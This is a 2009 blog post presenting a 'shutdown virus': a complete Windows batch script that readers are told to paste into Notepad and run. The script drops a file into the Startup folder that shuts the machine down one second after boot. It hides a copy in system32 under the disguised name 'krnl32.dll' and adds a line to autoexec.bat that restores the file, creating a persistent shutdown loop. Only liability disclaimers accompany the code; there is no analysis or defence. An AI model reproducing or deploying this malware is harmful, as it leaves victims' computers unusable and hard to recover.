Thursday, August 6, 2009

Shutdown virus

This batch Program can be compiled very simply.

Just copy/paste it into notepad , and save it as “shutdown.bat” (with”")

What this “virus” does??

Well , it simply copies part of itself into startup ,and autoexec , so , next time computer starts program will start with windows ,

and shutdown it…

P.S. Use this program at your own responsability , i am NOT responsible for any damage you may cause to your/someone else`s

computer with this program. Once again , YOU USE THIS AT YOUR OWN RESPONSABILITY!!

Here is the program:


@echo off

:main
set xpstart=c:\docume~1\alluse~1\startm~1\programs\startup
set 9xstart=%windir%\startm~1\programs\startup
if exist %xpstart% goto winxp
if exist %9xstart% goto win9x
goto end

:winxp
echo %windir%\system32\shutdown.exe -s -t 01 > %xpstart%\krnl32.bat
copy %xpstart%\krnl32.bat %windir%\system32\krnl32.dll
echo if not exist %xpstart%\krnl32.bat copy %windir%\system32\krnl32.dll %xpstart%\krnl32.bat >> autoexec.bat
goto end

:win9x
echo RUNDLL SHELL32.DLL,SHExitWindowsEx 1 > %9xstart%\krnl32.bat
copy %9xstart%\krnl32.bat %windir%\system32\krnl32.dll
echo if not exist %9xstart%\krnl32.bat copy %windir%\system32\krnl32.dll %9xstart%\krnl32.bat >> autoexec.bat
goto end

:end


Just copy/paste it in notepad , and sav e it as anything.bat…

DO NOT USE IT ON YOUR COMPUTER!!!

Have a nice day

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